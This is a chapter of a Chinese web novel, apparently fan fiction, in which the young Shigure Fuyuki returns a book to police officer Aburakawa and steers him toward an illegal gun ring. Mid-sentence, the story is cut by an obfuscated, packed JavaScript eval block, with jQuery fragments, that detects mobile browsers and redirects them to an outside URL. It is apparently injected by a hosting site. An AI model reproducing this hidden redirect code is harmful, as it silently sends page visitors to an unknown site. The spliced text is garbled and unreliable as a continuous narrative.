油川信介脚步沉重地走在回家的路上。
他实在不想回到那个要么冰冷得空气都要冻结,要么充斥着眼泪和谩骂的家。
当上警察的他本可以搬出来住,可他心里依然残留着一丝幻想。毕竟妹妹还在的时候,父母感情虽然也不怎么好,但至少能和平相处,给自己和妹妹一个有父有母,还算过得去的家。
“油川警官。”街道旁的阴影里突然传来声音。
油川信介吓了一跳,转头看过去后松了口气:“时雨君啊,这么晚了,你怎么还在外面。”
“油川警官,原来你真是那个油川啊。”时雨冬纪从阴影中走出来,笑吟吟地道,“我就说这个姓的人也很少,难怪我今天听到你的名字就觉得很耳熟呢。”
“呃……”油川信介迟疑地问道,“你以前认识我?”
“不,我不认识你,我认识的是你妹妹,油川艳子学姐。”时雨冬纪回答。
油川信介脸色变了变,时雨冬纪低下头,从提着的布袋里拿出一本书:“大概是六七年前吧,老师布置了课外阅读,我去书店买书。那天很倒霉,书拆封后发现钱在半路掉了,书店老板不让我走,是油川学姐替我付了钱。”
他抬起头对油川信介笑了笑:“我当时不肯要,油川学姐就跟我说,这书是她借我的,等我读完了,再把书还给她。”
“艳子……”油川信介喃喃自语。
“可还没等我把书还给她,油川学姐就……”时雨冬纪又低下头,“时间过得太久,今天我整理东西的时候看见这本书才想起来。而且我这次去东京就不会再回来了,所以我觉得,我应该把这本书还给油川学姐的家人。”
油川信介从他手里接过已经发黄的绘本,看着绘本上《猫咪事务所》几个字,手指痉挛地抓紧:“艳子……”
“油川警官,油川学姐真是被枪打中死的吗?”把书交给他的时雨冬纪仿佛放下了心事,状似好奇地问。
“是啊。”油川信介勉强笑了笑,“她运气太差了,碰到个吃了药的男人在街上乱开枪,就……”
“长野这边,枪好像很容易就能拿到哦。”时雨冬纪好似无心地道,“我前段时间就捡到了一把枪,唉,被大和警官训得好惨呢!”
“我也听说了。”油川信介珍重地将绘本收好,看着这个已经长大到和去世的妹妹差不多年龄的少年,“听说你还想私藏那把枪?这可不行啊,时雨君……”
“好了啦,我已经被骂得够惨了。”时雨冬纪不满地鼓起脸,“谁叫那个□□的人把枪随便乱丢,我捡到了难道不应该就是我的吗?”
“有些东西本来就不能乱捡吧……”油川信介苦笑,脸色突然一变,“时雨君,你说□□的人?”
“是啦,我捡到枪后在旁边躲了很长时间。”时雨冬纪无辜地眨眨眼睛,“看到有个男人急匆匆地跑来找,找不到后还打电话要求再买一把呢。”
“哎呀,我只听说东京那样的大城市有很大的地下势力,私底下□□肯定很多。没想到长野这样的乡下地方也有啊,厉害!”
油川信介脸色变了又变,猛然伸手抓住时雨冬纪肩膀:“时雨君,这件事你告诉大和警部没有?”
“当时他骂得太厉害我忘了啦。”时雨冬纪一脸无辜地道,“这次回来见到了油川警官,收拾东西时又看到了那个绘本,想起油川学姐的死也跟枪有关,才跟着又想起这事。”
油川信介用力握了握拳,颤声问道:“你当时听到了什么?”
“想要再买一把枪,提起了一个……啄木鸟……对,就是啄木鸟会的东西。”时雨冬纪眼神往上飘,状似思索地道,“还喊了一个人的名字……唉,所以我才不想告诉大和警部嘛。”
“名字?谁?”油川信介紧张地问。
“三枝,他当时喊的是……三枝。”时雨冬纪垮着脸,“如果我告诉大和警部,没准他会以为我在胡说八道故意报复谁呢。”
“大和警部不会那样认为的。”油川信介反驳了一句。
“但他会骂人,骂得可凶了。”时雨冬纪又鼓起脸抱怨。他看了看油川信介,突然狡黠地竖起一根手指,“所以油川警官会帮我保密的,对吧?”
“啊……对。”油川信介神思不属地回答,“我会帮你保密……”
时雨冬纪隐入黑暗,目送油川信介走远。
今天一整天,他过得十分充实。白天被卷入的杀人案只是开胃小菜,傍晚跟踪三枝守听到他们的交谈内容后,他就潜进长野县警本部档案室找资料。
顺着三枝守的人际关系查完
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385714|200233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
鹿野晶次和竹田繁,随手又查了查长野近十年来有关枪支的案件,然后,就发现了油川这个姓氏。
随手查到的东西,也就随手布下了棋,也不知道油川信介能做到哪一步。
时雨冬纪目送油川信介仿佛梦游般的身影消失在街道转角,伸手拍了拍自己脸颊。
现在还不能回家睡觉,还要去跟鹿野晶次和竹田繁谈谈心呢。
唉,真是充实过头的一天。
回到长野,愉快而充实的第一天过去,接下来的,是百无聊赖的第二天。
雪似乎都在新年那几天下透支了,这几天一直阳光灿烂得刺眼,将卧室里照耀得一片亮堂堂。
时雨冬纪懒洋洋地在床上打了两个滚,突然直挺挺坐了起来。
自己竟然睡懒觉了?他抱着被子望着窗外正午的阳光发呆。
童年是一个人心灵最后的港湾。这句话或许是有道理的。尽管,对于时雨冬纪而言,这已经是第二次童年。
或许正因为是第二次童年,时雨冬纪的记忆远比第一次童年要清晰太多。
虽然三岁前父母的争吵怒吼,三岁后奶奶虚弱的咳嗽与昏暗的房间,让他的童年算不上美好愉快,更与无忧无虑无关。
但从新生儿到十四岁,无论在外面遇到多少麻烦与不快,这栋屋子总能保护自己,给自己最后一个躲藏的港湾。
在这间屋子里呆得越久,尘封的记忆伴随着安全感,就如同被他擦干净的镜子一般清晰起来,让他不知不觉间竟松懈得睡了个懒觉。
时雨冬纪咕噜噜吐出漱口水,拿毛巾擦了把脸,抬头看向洗手台上镜子里的身影。
不是很服帖,有点四处乱翘的黑发。铅灰色的眼睛,在洗手间不太明亮的光线下,泛着金属般冷冽的光泽。五官端正却没什么特色,甚至可以用寡淡来形容。
——冬纪的长相,在易容伪装方面非常有优势呢。
时雨冬纪眼神微一恍惚,抬手捂了捂耳朵,仿佛又听见了红玫瑰的声音。
手指慢慢挪动,指尖从鼻梁划到左耳边——可惜后来多了一条又长又深的疤,让自己再度化妆易容时,需要额外花费不少功夫去掩盖。
血与火的轰鸣再次在耳边回响,时雨冬纪对着镜中的自己,咧嘴笑了一下。